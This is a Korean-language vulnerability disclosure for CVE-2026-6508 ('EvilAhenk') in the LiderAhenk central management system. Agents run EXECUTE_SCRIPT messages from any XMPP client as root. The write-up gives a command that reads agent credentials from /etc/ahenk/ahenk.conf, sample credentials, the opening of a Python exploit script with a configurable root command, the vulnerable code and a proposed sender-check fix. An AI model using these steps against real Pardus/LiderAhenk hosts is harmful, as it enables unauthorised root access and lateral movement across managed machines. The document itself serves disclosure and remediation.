
CVE-2026-6508 LiderAhenk Merkezi Yönetim Sistemi 아키텍처에서, 에이전트 간 모든 클라이언트가 서로에 대해 'root' 권한으로 코드를 실행할 수 있게 하는 (무단 RCE 및 측면 이동) 심각한 보안 취약점.
EvilAhenk, LiderAhenk 중앙 관리 시스템 아키텍처에서 에이전트 간 모든 클라이언트가 서로에 대해 'root' 권한으로 코드를 실행할 수 있게 하는 (Unauthorized RCE & Lateral Movement) 중요한 보안 취약점입니다.
LiderAhenk에서 관리 패널/중앙 서버는 XMPP를 통해 클라이언트에 작업 및 정책 메시지를 보냅니다.
ahenk 에이전트도 동일한 XMPP 인프라에 연결됩니다.EXECUTE_POLICY, EXECUTE_TASK 또는 EXECUTE_SCRIPT와 같은 메시지를 보냅니다.즉, XMPP는 여기서 관리 트래픽의 전송 채널입니다. 중앙 패널의 명령은 일반적으로 이 채널을 통해 클라이언트로 전달됩니다.
예상 흐름:
Lider/Ahenk 관리 패널 -> XMPP 서버 -> 대상 에이전트
취약한 흐름:
ct-2는 동일한 XMPP 서버에 연결된 유효한 클라이언트입니다.ct-2는 ct-1 JID를 대상으로 XMPP 서버를 통해 EXECUTE_SCRIPT 메시지를 보냅니다.ct-1에 전달합니다.ct-1은 메시지가 실제로 lider_sunucu에서 왔는지 확인하지 않고 명령을 실행합니다.ahenk.service가 root로 실행되기 때문입니다.ct-2 또는 다른 XMPP 계정 -> XMPP 서버 -> ct-1 에이전트 -> root 명령
즉, 우리는 XMPP 계층을 해킹하는 것이 아닙니다. XMPP 서버는 정상적인 메시지 라우팅을 수행합니다. 문제는 ct-1 측의 Ahenk 에이전트가 들어오는 메시지가 실제로 권한 있는 관리 계정에서 왔는지 확인하지 않는다는 것입니다.
pip install slixmpp
손상된 중앙 관리 시스템에 연결된 클라이언트에서 다음과 같은 정보를 수집합니다:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
예시 출력;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
얻은 정보에 따라 Main.py 파일을 업데이트합니다. 도메인: im.liderahenk.org, 대상 uid: pardus-ct-1
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- 기본 대상: `[email protected]`
희생자 시스템에서 실행할 명령은 COMMAND 변수를 변경하여 조정할 수 있습니다.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
repos/ahenk/src/base/messaging/messenger.py에서 수신된 메시지는 type 필드에 따라서만 처리됩니다. msg['from']에 대한 권한 있는 발신자 확인이 없습니다:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
repos/ahenk/src/base/execution/execution_manager.py에서는 EXECUTE_SCRIPT가 직접 명령 실행으로 이어집니다:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
이 두 부분이 결합되면 다음과 같은 효과가 발생합니다:
EXECUTE_SCRIPT 이벤트를 트리거합니다.가능한 설계적 수정 방법;
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))